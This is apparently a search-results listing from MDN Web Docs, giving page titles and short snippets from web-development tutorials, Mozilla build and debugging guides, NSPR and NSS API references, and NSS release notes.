get started prerequisites before starting this module, you don't need any previous html knowledge, but you should have at least basic familiarity with using computers and using the web passively (i.e., just looking at it and consuming content).
Assessment: Structuring planet data - Learn web development
if the online editor you are using doesn't have separate javascript/css panels, feel free to put them inline <script>/<style> elements inside the html page.
HTML Tables - Learn web development
LearnHTMLTables
this module takes you through all you need to know about structuring tabular data using html.
Structuring the web with HTML - Learn web development
get started prerequisites before starting this topic, you should have at least basic familiarity with using computers and using the web passively (i.e.
Build your own function - Learn web development
this is to make it easier to style the element — if you look at the css on the page, you'll see that we are using a .msgbox class selector to style the message box and its contents.
Function return values - Learn web development
using return values in your own functions to return a value from a custom function, you need to use the return keyword.
Test your skills: Conditionals - Learn web development
we'd like you to do this in a single line, using something that isn't an if ...
JavaScript building blocks - Learn web development
functions allow you to store a piece of code that does a single task inside a defined block, and then call that code whenever you need it using a single short command — rather than having to type out the same code multiple times.
Silly story generator - Learn web development
if the online editor you are using doesn't have a separate javascript panel, feel free to put it inline in a <script> element inside the html page.
Test your skills: Arrays - Learn web development
next, modify the first two items in the array using simple bracket notation and assignment.
Test your skills: Math - Learn web development
check the data type of finalresult using typeof; you'll probably see that it is actually of string type!
Introducing JavaScript objects - Learn web development
you'll come across it quite often, so in this article, we give you all you need to work with json using javascript, including parsing the json so you can access data items within it and writing your own json.
Aprender y obtener ayuda - Learn web development
using mdn the site you are already on has a wealth of information available to you — both reference material for looking up code syntax, and guides/tutorials for learning techniques.
CSS performance optimization - Learn web development
html performance features css performance features fonts and performance mobile performance focusing on performance see also css animation performance ...
HTML performance features - Learn web development
html performance features css performance features fonts and performance mobile performance focusing on performance see also the <picture> element the <video> element the <source> element the <img> srcset attribute responsive images preloading content with rel="preload" - (https://w3c.github.io/preload/ ) ...
The business case for web performance - Learn web development
html performance features css performance features fonts and performance mobile performance focusing on performance ...
JavaScript performance - Learn web development
html performance features css performance features fonts and performance mobile performance focusing on performance ...
Web performance - Learn web development
focusing on performance there are many different things a developer can do to improve performance, but how fast is fast enough?
Server-side website programming first steps - Learn web development
we do hope that at this point you have a good understanding of what sorts of functionality you can deliver using server-side programming, and that you have made a decision about what server-side web framework you will use to create your first website.
Routing in Ember - Learn web development
entization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app advanced svelte: reactivity, lifecycle, accessibility working with svelte stores ...
ChromeWorkers and the Chrome worker loader
note: if you're contributing content to this section, create subpages using the "new sub-page" option in the "this page" menu.
omni.ja (formerly omni.jar)
it is suggested that windows 7 users unzip the file by renaming it to omni.zip and using windows explorer to extract all files.
Accessibility Features in Firefox
developers, please see our dhtml accessibility documentation and get involved in writing tools and websites using this new technology.
Accessibility/LiveRegionDevGuide
however, many of the concepts were also used during the development of firevox, an at using iaccessible2.
Accessibility information for UI designers and developers
or in this one, you could consider using patterns besides colored areas: again, if people are unable to distinguish the colors, they can rely on the patterns instead.
CSUN Firefox Materials
this extension is useful for making ie specific sites, or site that read better in ie, open directly in firefox, while using the internet explorer engine tab mix plus completely enhances firefox's tab browsing capabilities.
Embedding API for Accessibility
for double-sized text, use nsidomwindow::settextzoom(2.0); using accessibility preferences there are a number of prefs related to accessibility.
Mozilla's Section 508 Compliance
(l) when electronic forms are used, the form shall allow people using assistive technology to access the information, field elements, and functionality required for completion and submission of the form, including all directions and cues.
ZoomText
comboboxes report incorrect bounds, causing zoomtext tracking to move to the wrong area of the screen.
Accessibility and Mozilla
however, many of the concepts were also used during the development of firevox, an at using iaccessible2.accessible toolkit checklistplease contact the mozilla accessibility community with questions or feedback.csun firefox materialsfirefox 1.5 is a fast, free, standards compliant web browser which is rapidly gaining recognition for its fresh, streamlined approach to browsing the web.
Frequently Asked Questions for Lightweight themes
using lightweight themes how do i change my current lightweight theme?
Themes
browser themes browser theme concepts get an introduction to creating themes for the latest versions of firefox using the amo theme generator use the theme generator to create and submit a new theme to amo lightweight themes lightweight themes have been deprecated and are no longer accepted by amo.
Adding phishing protection data providers
this request must be encrypted using the private key returned by the keyurl request.
Bugzilla
and how using proper manners and civility will help ensure your problem gets solved sooner rather than later.
Building Mozilla
build instructions building on windows with msys building on windows using the msvc toolkit building on fedora core 5 compiling mozilla with mingw compiling mozilla with clang on windows seamonkey building a seamonkey package ...
C++ portability guide
this document has migrated to using c++ in mozilla code.
Choosing the right memory allocator
avoid using them elsewhere.
Creating JavaScript callbacks in components
using javascript functions as callback handlers for components can be a nice convenience to developers and there is virtually zero work to expose the feature.
Capturing a minidump
(you'll want the 32-bit version of windbg only if you are using a 32-bit version of firefox) then install it, the standard settings in the installation process are fine.
Debugging OpenGL
if you start up firefox with this variable defined, the following behavior changes occur: each time you issue an opengl call, a check is performed to ensure that the gl context is current, using a thread-local static variable to keep track of this.
Debugging update problems
you can do this using the live http headers addon to determine the url of the update request.
Debugging a hang on OS X (Archived)
export it using tools > generate report, and attach this as a text file to the bug report.
Gmake vs. Pymake
for example, if using the default objdir, you might type in the root of your source tree: mkdir obj-i686-pc-mingw32; cd obj-i686-pc-mingw32; python ../build/pymake/make.py -f ../client.mk.
Old Thunderbird build
you can clean out previous build artefacts using ./mozilla/mach clobber references general build documentation comm-central using the mozilla symbol server ...
Simple SeaMonkey build
you can build a bleeding-edge, development version of seamonkey using the commands below.
Simple Thunderbird build
you can clean out previous build artefacts using ./mach clobber references general build documentation comm-central using the mozilla symbol server ...
Windows SDK versions
quick start follow the instructions for whichever version of visual c++ you're using.
Eclipse
for documentation on using eclipse cdt for mozilla c/c++ development, see the eclipse cdt page.
Gecko Logging
example usage code sample #include "mozilla/logging.h" using mozilla::loglevel; static mozilla::lazylogmodule slogger("example_logger"); static void dostuff() { moz_log(slogger, loglevel::info, ("doing stuff.")); int i = 0; int start = time::nowms(); moz_log(slogger, loglevel::debug, ("starting loop.")); while (i++ < 10) { moz_log(slogger, loglevel::verbose, ("i = %d", i)); } // only calculate the elapsed time if the warning level is ...
Interface development guide
the articles linked from this page offer guidelines for developing and using these interfaces.
Contributing to the Mozilla code base
see pages on bugzilla for further help learn the bugzilla component, with which your pet peeve is implemented, using the components list.
Index
found 172 pages: # page tags and summary 1 firefox firefox, landing, mozilla here you can learn about how to contribute to the firefox project and you will also find links to information about the construction of firefox add-ons, using the developer tools in firefox, and other topics.
Frame script environment
in particular, note that a frame script accesses the dom window using content, not window: // frame script var links = content.document.getelementsbytagname("a"); all the frame scripts running in a tab share this global.
Frame script loading and lifetime
if you use allowdelayedload, you can cancel it by using removedelayedframescript: var mm = window.messagemanager; mm.removedelayedframescript("chrome://my-e10s-extension/content/frame-script.js"); this means we will stop loading the script into new tabs.
Tracking Protection
note that with firefox for android, you can access console output using the remote debugger.
Security best practices for Firefox front-end engineers
developers are able to avoid tripping the rule by using escaping functions in combination with template strings, for example: bar.innerhtml = escapehtml`<a href='${url}'>about</a>`; in system-privileged chrome code, any kind of remaining scripts will still be removed by our sanitizer.
HTMLIFrameElement.clearMatch()
see using the browser api for more details.
HTMLIFrameElement.executeScript()
see using the browser api for more details.
HTMLIFrameElement.findAll()
see using the browser api for more details.
HTMLIFrameElement.findNext()
see using the browser api for more details.
mozbrowserusernameandpasswordrequired
the embedder is supposed to retrieve the necessary credentials, usually using a dialog or a database of username/passwords, and then call authenticate() or cancel() as appropriate.
Embedding Mozilla
you can even construct whole new applications using chrome.
Gecko's "Almost Standards" Mode
recommendations for authors who are attempting to migrate to validated markup using either html 4.01 or xhtml 1.0, and who are still using image-in-table design concepts, make sure to use a doctype that will trigger "almost standards" mode.
How to get a process dump with Windows Task Manager
requirements windows to get a process dump, you need to be using windows vista or above.
How to get a stacktrace for a bug report
ubuntu: instructions from the ubuntu team opensuse: general instructions from opensuse fedora: capturing stack traces gentoo: debugging using gdb ...
IPDL Type Serialization
if (!readparam(amsg, aiter, &(aresult->i)) || !readparam(amsg, aiter, &(aresult->j))) return false; for (int i = 0; i < 4; ++i) if (!readparam(amsg, aiter, &(aresult->k[i]))) return false; return true; } }; } // namespace ipc once you have a serializer for a type, you can serialize a collection of it (ex: an nstarray<examplestruct>) by simply declaring "using nstarray<examplestruct>;' in your ipdl file, then using it in a ipc method.
Introduction to Layout in Mozilla
cumentviewerimpl creates pres context and pres shell content model construction content arrives from network via nsistreamlistener::ondataavailable parser tokenizes & processes content; invokes methods on nsicontentsink with parser node objects some buffering and fixup occurs here opencontainer, closecontainer, addleaf content sink creates and attaches content nodes using nsicontent interface content sink maintains stack of “live” elements more buffering and fixup occurs here insertchildat, appendchildto, removechildat frame construction content sink uses nsidocument interface to notify of Δs in content model contentappended, contentinserted, contentremoved presshell is registered as document observer ...
JavaScript-DOM Prototypes in Mozilla
prototype setup on an xpconnect wrapped dom node in mozilla when a dom node is accessed from javascript in mozilla, the native c++ dom node is wrapped using xpconnect and the wrapper is exposed to javascript as the javascript representation of the dom node.
Addon
instances can be created using the many getaddon methods on the addonmanager object.
AddonInstall
instances can be created using the getinstallforfile() or getinstallforurl() methods on the addonmanager.
Assert.jsm
we check using the most exact approximation of equality between two objects to keep the chance of false positives to a minimum.
DownloadTarget
you can use this instead of using file system calls to check for the existence of the file in order to reduce io overhead.
FileUtils.jsm
to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/fileutils.jsm"); the file constructor if you have a path to a file (or directory) you want to obtain an nsifile for, you can do so using the file constructor, like this: var f = new fileutils.file(mypath); method overview nsifile getfile(string key, array patharray, bool followlinks); nsifile getdir(string key, array patharray, bool shouldcreate, bool followlinks); nsifileoutputstream openfileoutputstream(nsifile file, int modeflags); nsifileoutputstream openatomicfileoutputstream(nsifile file, int modeflags); nsifileoutputst...
FxAccountsOAuthClient.jsm
parameters none examples using the fxaccountsoauthclient chrome code let parameters = { oauth_uri: oauth_server_endpoint, client_id: oauth_client_id, content_uri: content_server_url, state: oauth_state } let client = new fxaccountsoauthclient({ parameters: parameters }); client.oncomplete = function (tokendata) { // tokendata consists of two properties: "tokendata.state" and "tokendata.code" }; client.launchweb...
FxAccountsProfileClient.jsm
examples using the fxaccountsprofileclient chrome code let client = new fxaccountsprofileclient({ serverurl: "https://profile.accounts.firefox.com/v1", token: "fxa_oauth_bearer_token", }); client.fetchprofile().then(profile => console.log(profile)); error handling the fxaccountsprofileclient.jsm normalizes request and client errors into fxaccountsprofileclienterror object.
ISO8601DateUtils.jsm
using the iso 8601 date utilities to convert a date string into a date object, simply use: dateobj = iso8601dateutils.parse(datestring); to convert a date object into a date string: datestring = iso8601dateutils.create(dateobj); method overview string create(adate); date parse(adatestring); methods create creates an iso 8601 format date string, e.g.
Interfacing with the Add-on Repository
when the user clicks a toolbar button to initiate the query, the following code gets run to start the request: addonrepository.retrieverecommendedaddons(10, this); this asks the repository to fetch up to 10 add-ons, using the object this as the target for callbacks.
Following the Android Toasts Tutorial from a JNI Perspective
var my_jenv = null; try { my_jenv = jni.getforthread(); // we declare the classes, methods, etc we will be using: this part is not seen in the native example var sig = { context: 'landroid/content/context;', geckoappshell: 'lorg/mozilla/gecko/geckoappshell;', int: 'i', toast: 'landroid/widget/toast;', void: 'v' }; var toast = jni.loadclass(my_jenv, sig.toast.substr(1, sig.toast.length - 2), { static_methods: [ { name: 'maketext', sig: ...
NetUtil.jsm
ns_error_illegal_input the input stream has invalid byte sequences, and no replacement character was specified using aoptions.replacement.
OS.File.Error
using os.file.error example: finding out whether the problem is due to a file that does not exist try { let file = os.file.open("myfile.txt"); // ...
OS.File.Info
using os.file.info example: determining if a file is a regular file the following snippet uses the main thread api to determine (asynchronously) whether some path is a regular file, or a directory, or a symbolic link: let promise = os.file.stat(somepath); promise.then( function onsuccess(info) { // |info| is an instance of |os.file.info| if (info.isdir) { // |somepath| represents a direc...
OSFile.jsm
using os.file ...
PerfMeasurement.jsm
before you can use this module, you need to import it into your scope: components.utils.import("resource://gre/modules/perfmeasurement.jsm") see measuring performance using the perfmeasurement.jsm code module for details on how to use this api.
Task.jsm
the task.jsm javascript code module implements a subset of task.js to make sequential, asynchronous operations simple, using the power of javascript's yield operator.
Bootstrapping a new locale
clone the source code the next step is to download a copy of the source code to your local system, using mercurial.
L10n Checks
json output in all modes you can tell l10n checks to present the output as json by setting the -j parameter to full_json, e.g.: check-l10n-completeness -j full_json suite/locales/l10n.ini ../l10n/ de json output requires simplejson to be present on the system if using python 2.5.
Mozilla Content Localized in Your Language
example: 1.23 (decimal separator) or 1,000 (thousand separator) using comma or period.
Localizing extension metadata on addons.mozilla.org
create an account and then, using the “basic open-ended question” template, follow the instructions to upload the text of your amo page.
Localizing with Koala
introduction this tutorial will guide you through making a couple of changes to firefox's user interface using koala, an add-on for komodo edit created to help localizing mozilla.
Localizing with Mercurial
here are the steps to send your l10n work using mercurial: since your l10n work takes place in your own local repository, you should ensure that there are no changes made to the remote repository before committing your work.
Initial setup
wget wget is a command-line utility that allows you to retrieve files using internet protocols.
Localization formats
o) very established with a large set of powerful tools harder to screw things up because existing tools will not allow localizers to edit the l10n file where they shouldn't separates localizable strings available for localizers for the rest of the code, protecting it from unintended changes disadvantage of gettext .po file needs to be compiled into a .mo file for localizer to see changes using regular diff to see changes to a file is sometimes impossible because the editing tool can save the .po file using a completely different structure or order of entities.
What every Mozilla translator should know
in this case the resultant installable file will be available in the mozilla ftp servers: firefox nightly builds thunderbird nightly builds qa (quality assurance) in order to assure the quality of a build we should make some tests using http://litmus.mozilla.org ...
Writing localizable code
using a directory structure like this eases the localization process without the source code and is especcially recommended to extension authors.
gettext
using context with msgctxt depending on context in which it is used, one english string might require two or more different translations.
Mozilla Framework Based on Templates (MFBT)
its code resides in the mfbt/ source directory, but headers within it should be included using paths like "mozilla/standardinteger.h".
MathML Torture Test
it compares the rendering by the xetex engine using the default latin modern math font against the mathml rendering by your browser using the default math font, or an alternative opentype math fonts.
Updates
mozilla 1.0 features full support for html 4.0, xml 1.0, resource description framework (rdf), cascading style sheets level 1 (css1), and the w3c document object model level 1 (dom1) [...] as well as support for display of mathematical equations using mathml." december 7, 2001 status report october 2000 the first international mathml conference april 14, 2000 status report february 12, 2000 mathml-enabled m13 builds for win32 september 21, 1999 mathml has landed.
MathML Demo: <mo> - operator, fence, separator, or accent
this problem can be solved using aligned arrays, as follows a b c d ⁢ a b c d however, all reasonable attempts to fence the column vector will fail because latex fences are symmetric.
MathML Demo: <msqrt>, <mroot> - radicals
out all you can do with them is see how the rendering stretches them in various ways: horizontally sin ⁡ x ⁢ cos ⁡ y vertically 1 2 3 4 and det ( 1 2 3 4 ) 2 as well as 2 x ⁢ y ⁢ z ⁢ w 2 1 2 3 4 and 2 ⌈ det ( 1 2 3 4 ) ⌉ the formula of binet shows how the n-th term in the fibonacci series can be expressed using roots f n = 1 5 [ ( 1 + 5 2 ) n - ( 1 - 5 2 ) n ] ...
Mozilla Development Strategies
if you are blocked, but have something worth checking in, check in using #ifdef, prefs, or "alternative" files sometimes you'll work on something, but you can't land it because something else is blocking you.
Mozilla Quirks Mode Behavior
make table borders gray rather than using the foreground color.
Mozilla Style System
most callers who interact with the style system do so using the style structs.
mozilla::MonitorAutoEnter
it is designed to make using mozilla::monitor safer and easier.
mozilla::MutexAutoLock
it is designed to make using mozilla::mutex safer and easier.
mozilla::MutexAutoUnlock
it is designed to make using mozilla::mutex safer and easier.
Are We Slim Yet
since firefox transitioned to using multiple processes by default, we moved awsy into the taskcluster infrastructure.
BloatView
if they aren't, then you're not using the ns_impl_addref and ns_impl_release (or ns_impl_isupports which calls them) for xpcom objects, or moz_count_ctor and moz_count_dtor for non-xpcom objects.
Memory Profiler
using the add-on open the devtools panel or webide.
Profiling with Instruments
this malloc profiling is done using the malloc_logger infrastructure (similar to mallocstacklogging).
Profiling with Xperf
i'm not going to repeat it here, because i'd be using essentially the same screenshots, so go look there.
Profiling with the Gecko Profiler and Local Symbols on Windows
using ./mach build.
turbostat
this article provides an introduction to using it.
Patches and pushes
here is an example search plugin file using french yahoo.
Research and prep
specific interest search where users are using popular search engines to search more specific areas of interest that are very popular in your language or locale.
Debugging out-of-memory problems
by the time about:memory is loaded in a new tab and you have clicked the "measure" button to diagnose what's happened, the memory usage causing the spike has gone away, making temporary memory spikes difficult to diagnose.
Emscripten techniques
by the time about:memory is loaded in a new tab and you have clicked the "measure" button to diagnose what's happened, the memory usage causing the spike has gone away, making temporary memory spikes difficult to diagnose.
L20n HTML Bindings
the monolingual mode may be useful when you first start a new project, when you want to test something quickly or when using server-side language negotiation.
Midas editor module security preferences
this functionality is completely removed since 2013-12-14 18:23 pst, see: bugs 38966 and 913734 note: if you've reached this page from a message box in firefox or another mozilla product, try using keyboard shortcuts for the cut, copy, and paste commands: copy: ctrl+c or ctrl+insert (command+c on mac) paste: ctrl+v or shift+insert (command+v on mac) cut: ctrl+x or shift+delete (command+x on mac) the information on the rest of this page is for web developers and advanced users.
Creating a Cookie Log
creating the log now that you have firefox running with logging enabled, please try to replicate the bug using the steps to reproduce from the bug report.
NSPR build instructions
--target=x86_64-pc-mingw32 for 64-bit builds on windows, when using the mozillabuild environment.
Anonymous Shared Memory
further, when all processes using an anonymous shared memory terminate, the backing file is deleted.
Atomic Operations
on systems that do not provide direct access to atomic operators, nspr emulates the capabilities by using its own locking mechanisms.
I/O Functions
pollable events are implemented using a pipe or a pair of tcp sockets connected via the loopback address, therefore setting and/or waiting for pollable events are expensive operating system calls.
I/O Types
prfiledesc priomethods prfileprivate prdescidentity note that the nspr documentation follows the unix convention of using the termfiles to refer to many kinds of i/o objects.
Interval Timing
conceptually, they are based on free-running counters that increment at a fixed rate without possibility of outside influence (as might be observed if one was using a time-of-day clock that gets reset due to some administrative action).
NSPR LOG FILE
this value causes logging output to be written using the windows function outputdebugstring(), which writes to the debugger window.
NSPR Types
some systems require emulation of 64-bit fields by using two 32-bit numeric fields bound in a structure.
Network Addresses
by using these functions with other network address functions, clients can support either version 4 or version 6 of the internet protocol transparently.
PLHashComparator
pl_comparestrings compare two character strings using strcmp.
PL_CompareStrings
syntax #include <plhash.h> printn pl_comparestrings( const void *v1, const void *v2); description pl_comparestrings compares v1 and v2 as character strings using strcmp.
PRAddrInfo
typically, a praddrinfo object will be found via pr_getaddrinfobyname, iterated through using pr_enumerateaddrinfo, and finally freed with pr_freeaddrinfo.
PRErrorCode
you can also set your own errors using pr_seterror.
PRLogModuleInfo
to log your program's activity, create a prlogmoduleinfo structure using pr_newlogmodule .
PR_ASSERT
the macro converts the expression to a string and passes it to pr_assert, using file and line parameters from the compile-time environment.
PR_Abort
syntax #include <prinit.h> void pr_abort(void); description pr_abort results in a core file and a call to the debugger or equivalent, in addition to causing the entire process to stop.
PR_CExitMonitor
description using the value specified in the address parameter to find a monitor in the monitor cache, pr_cexitmonitor decrements the entry count associated with the monitor.
PR_CNotify
description using the value specified in the address parameter to find a monitor in the monitor cache, pr_cnotify notifies single a thread waiting for the monitor's state to change.
PR_CNotifyAll
pr_failure indicates that the referenced monitor could not be located or that the calling thread was not in the monitor description using the value specified in the address parameter to find a monitor in the monitor cache, pr_cnotifyall notifies all threads waiting for the monitor's state to change.
PR_CWait
description using the value specified in the address parameter to find a monitor in the monitor cache, pr_cwait waits for a notification that the monitor's state has changed.
PR_Connect
if pr_connect is invoked on a udp socket, it has an overloaded meaning: pr_connect merely saves the specified address as the default peer address for the socket, so that subsequently one can send and receive datagrams from the socket using pr_send and pr_recv instead of the usual pr_sendto and pr_recvfrom.
PR_DetachThread
this call is needed only if you attached the thread using pr_attachthread.
PR_GetDefaultIOMethods
description after using pr_getdefaultiomethods to identify the default i/o methods table, you can select elements from that table with which to build your own layer's methods table.
PR_GetLibraryName
when it is no longer used, free it using pr_freelibraryname.
PR_GetLibraryPath
when it is no longer used, free it using pr_freelibraryname.
PR ImportTCPSocket
using pr_importtcpsocket is much more convenient than writing an nspr i/o layer that wraps your native tcp sockets.
PR_Initialize
the thread may adjust its own priority by using pr_setthreadpriority.
PR_Interrupt
see the memo using io timeout and interrupt on nt for details.
PR_LOG
for an example of using conditional logging, see use example.
PR_LogPrint
returns nothing description this function unconditionally writes a message to the log using the specified format string.
PR_NewTCPSocket
the client makes a connection request using pr_connect.
PR_OpenTCPSocket
the client makes a connection request using pr_connect.
PR_StringToNetAddr
ipv6 addresses are indicated as strings using ":" characters separating octets, with numerous caveats for shortcutting (see rfc #1884).
PR_UnloadLibrary
after calling this function, future references to the library using its identity as returned by pr_loadlibrary will be invalid.
PR_WaitCondVar
the value pr_interval_no_wait causes the thread to release the lock, possibly causing a rescheduling within the runtime, then immediately attempt to reacquire the lock and resume.
CERT_FindCertByIssuerAndSN
_findcertbyissuerandsn ( certcertdbhandle *handle, certissuerandsn *issuerandsn ); parameters handle in pointer to a certcertdbhandle representing the certificate database to look in issuerandsn in pointer to a certissuerandsn that must be properly formed to contain the issuer name and the serial number (see [example]) description this function creates a certificate key using the issuerandsn and it then uses the key to find the matching certificate in the database.
Build instructions for JSS 4.3.x
next, you should read the instructions on using jss.
Build instructions for JSS 4.4.x
build instructions for jss 4.4.x newsgroup: mozilla.dev.tech.crypto to build jss see upstream jss build/test instructions next, you should read the instructions on using jss.
NSS_3.12.1_release_notes.html
more roots bug 434860: coverity 1150 - dead code in ocsp_createcertid bug 436428: remove unneeded assert from sec_pkcs7encryptlength bug 436430: make nss public headers compilable with no_nspr_10_support defined bug 436577: uninitialized variable in sec_pkcs5createalgorithmid bug 438685: libpkix doesn't try all the issuers in a bridge with multiple certs bug 438876: signtool is still using static libraries.
NSS_3.12.2_release_notes.html
bug 444974: crash upon reinsertion of e-identity smartcard bug 447563: modutil -add prints no error explanation on failure bug 448431: pk11_createmergelog() declaration causes gcc warning when compiling with -wstrict-prototypes bug 449334: pk12util has duplicate options letters bug 449725: signver is still using static libraries.
NSS 3.12.4 release notes
oding of pkix_pl_oid to and from ascii string bug 405297: problems building nss/lib/ckfw/capi/ with mingw gcc bug 420991: libpkix returns wrong nss error code bug 427135: add super-h (sh3,4) architecture support bug 431958: improve des and sha512 for x86_64 platform bug 433791: win16 support should be deleted from nss bug 449332: secu_parsecommandline does not validate its inputs bug 453735: when using cert9 (sqlite3) db, set or change master password fails bug 463544: warning: passing enum* for an int* argument in pkix_validate.c bug 469588: coverity errors reported for softoken bug 470055: pkix_httpcertstore_findsocketconnection reuses closed socket bug 470070: multiple object leaks reported by tinderbox bug 470479: io timeout during cert fetching makes libpkix abort validation.
NSS 3.15 release notes
please consider using secitem_reallocitemv2 in all future code.
NSS 3.16.2 release notes
the certutil commands supports generic certificate extensions, by loading binary data from files, which have been prepared using external tools, or which have been extracted and dumped to file from other existing certificates: --dump-ext-val oid --extgeneric oid:critical-flag:filename[,oid:critical-flag:filename]...
NSS 3.17 release notes
nss 3.17 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_17_rtm/src/ new in nss 3.17 new functionality when using ecdhe, the tls server code may be configured to generate a fresh ephemeral ecdh key for each handshake, by setting the ssl_reuse_server_ecdhe_key socket option to pr_false.
NSS 3.18 release notes
nss 3.18 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_18_rtm/src/ new in nss 3.18 new functionality when importing certificates and keys from a pkcs#12 source, it's now possible to override the nicknames, prior to importing them into the nss database, using new api sec_pkcs12decoderrenamecertnicknames.
NSS 3.25 release notes
removed the limitation that allowed nss to only support certificate_verify messages that used the same signature hash algorithm as the prf when using tls 1.2 client authentication.
NSS 3.27.1 release notes
nss 3.27 set this value on by default, allowing tls 1.3 (draft) to be disabled using nss_disable_tls_1_3, although the maximum version used by default remained tls 1.2.
NSS 3.28.3 release notes
you should avoid using nss 3.29, and rather use nss 3.29.1 or a newer version.
NSS 3.31.1 release notes
bugs fixed in nss 3.31.1 bug 1381784 - potential deadlock when using an external pkcs#11 token.
NSS 3.31 release notes
corrected the encoding of domain name constraints extensions created by certutil nss supports a clean seeding mechanism for *nix systems now using only /dev/urandom.
NSS 3.42 release notes
bug 1513913 - a fix for solaris where firefox 60 core dumps during start when using profile from version 52 this bugzilla query returns all the bugs fixed in nss 3.42: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.42 compatibility nss 3.42 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.46 release notes
erv.c bug 1561556 - remove -wmaybe-uninitialized warning in tls13esni.c bug 1561332 - ec.c:28 warning: comparison of integers of different signs: 'int' and 'unsigned long' bug 1564714 - print certutil commands during setup bug 1565013 - hacl image builder times out while fetching gpg key bug 1563786 - update hacl-star docker image to pull specific commit bug 1559012 - improve gcm perfomance using pmull2 bug 1528666 - correct resumption validation checks bug 1568803 - more tests for client certificate authentication bug 1564284 - support profile mobility across windows and linux bug 1573942 - gtest for pkcs11.txt with different breaking line formats bug 1575968 - add strsclnt option to enforce the use of either ipv4 or ipv6 bug 1549847 - fix nss builds on ios bug 1485533 - enable ns...
NSS 3.47 release notes
bug 1542207 - limit policy check on signature algorithms to known algorithms bug 1560329 - drbg: add continuous self-test on entropy source bug 1579290 - asan builds should disable lsan while building bug 1385061 - build nspr tests with nss make; add gyp parameters to build/run nspr tests bug 1577359 - build atob and btoa for thunderbird bug 1579036 - confusing error when trying to export non-existent cert with pk12util bug 1578626 - [cid 1453375] ub: decrement nullptr.
NSS 3.49 release notes
notable changes in nss 3.49 the legacy dbm database, libnssdbm, is no longer built by default when using gyp builds.
NSS 3.51.1 release notes
this is a minor release focusing on functional bug fixes and low-risk patches only.
NSS 3.51 release notes
or mp_int clamping bug 1582169 - don't attempt to read the fips_enabled flag on the machine unless nss was built with fips enabled bug 1431940 - fix a null pointer dereference in blake2b_update bug 1617387 - fix compiler warning in secsign.c bug 1618400 - fix a openbsd/arm64 compilation error: unused variable 'getauxval' bug 1610687 - fix a crash on unaligned cmaccontext.aes.keyschedule when using aes-ni intrinsics this bugzilla query returns all the bugs fixed in nss 3.51: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.51 compatibility nss 3.51 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.52 release notes
bug 1531906 - fix overzealous assertion when evicting a cached sessionid or using external cache.
NSS 3.55 release notes
known issues on some platforms, using the makefile builds fails to locate seccomon.h; ensure you are using make all rather than just make.
NSS Sample Code sample3
a); /* create a key */ key = pk11_keygen(slot, ckm_generic_secret_key_gen, 0, 128, 0); if (!key) { cout << "create key failed" << endl; goto done; } cout << (void *)key << endl; /* create parameters for crypto context */ /* note: params must be provided, but may be empty */ secitem noparams; noparams.type = sibuffer; noparams.data = 0; noparams.len = 0; /* create context using the same slot as the key */ // context = pk11_createdigestcontext(sec_oid_md5); context = pk11_createcontextbysymkey(ckm_md5, cka_digest, key, &noparams); if (!context) { cout << "createdigestcontext failed" << endl; goto done; } s = pk11_digestbegin(context); if (s != secsuccess) { cout << "digestbegin failed" << endl; goto done; } s = pk11_digestkey(context, key); if (s != secsuc...
NSS Sample Code sample4
* in a real app, this function should obtain the password using secure means * such as prompting an operator, or retrieving it over a secure communication * channel */ char *passwdcb(pk11slotinfo *info, prbool retry, void *arg); int main(int argc, char **argv) { secstatus rv; certcertificate *cert = null; seckeypublickey *pubkey = null; seckeyprivatekey *pvtkey = null; int modulus_len, i, outlen; char ...
nss tech note2
using the pkcs #11 module logger nss technical note: 2 modes of operation extracting output from log files the logger displays all activity between nss and a specified pkcs #11 module.
nss tech note8
since all the callers of the socket's cache function always initialized both their creationtime and expirationtime using the client's session lifetime variables, i changed the server's caching function to ignore the expirationtime computed by the caller, and compute its own expiration time, using the cache's own timeout values, or that was the intent.
NSS Tools sslstrength
you can tell if you stepped-up, because the output will says 'using export policy', and you'll find the secret key size was 128-bits.
New NSS Samples
see https://bugzilla.mozilla.org/show_bug.cgi?id=490238 how to download the samples: hg clone https://hg.mozilla.org/projects/nss; cd nss; hg update samples_branch samples list: sample code 1: hashing sample code 2: init nss database sample code 3: encrypt/decrypt and mac using token sample code 4: encrypt/decrypt and mac using session objects sample code 5: encrypt/decrypt/mac output public key as a csr sample code 6: encrypt/decrypt/mac generating a pkcs#11 csr common code used by these samples: sample code 0: utilities thanks are due to shailendra jain, mozilla community member, who is the principal author of these samples.
PKCS11
pkcs #11 information for implementors of cryptographic modules: implementing pkcs11 for nss pkcs11 faq using the jar installation manager to install a pkcs #11 cryptographic module pkcs #11 conformance testing ...
Build instructions
on windows, in both debug and optimized builds, when using msvc, tells nss to put symbols in a .pdb file.
FC_CopyObject
description fc_copyobject creates a copy of an object using the attributes specified in the template.
FC_CreateObject
description fc_createobject creates an object using the attributes specified in the template.
FC_InitToken
you won't be able to decrypt the data, such as mozilla's stored passwords, that were encrypted using any of those keys.
NSC_InitToken
you won't be able to decrypt the data, such as mozilla's stored passwords, that were encrypted using any of those keys.
NSPR functions
however, a small number of nspr functions are required for using the certificate verification and ssl functions in nss.
NSS functions
mid mxr 3.12 and later vfy_verifydigest mxr deprecated 3.12 use vfy_verifydigestdirect or vfy_verifydigestwithalgorithmid vfy_verifydigestdirect mxr 3.12 and later vfy_verifydigestwithalgorithmid mxr 3.12 and later s/mime functions the public functions listed here perform s/mime operations using the s/mime toolkit.
NSS reference
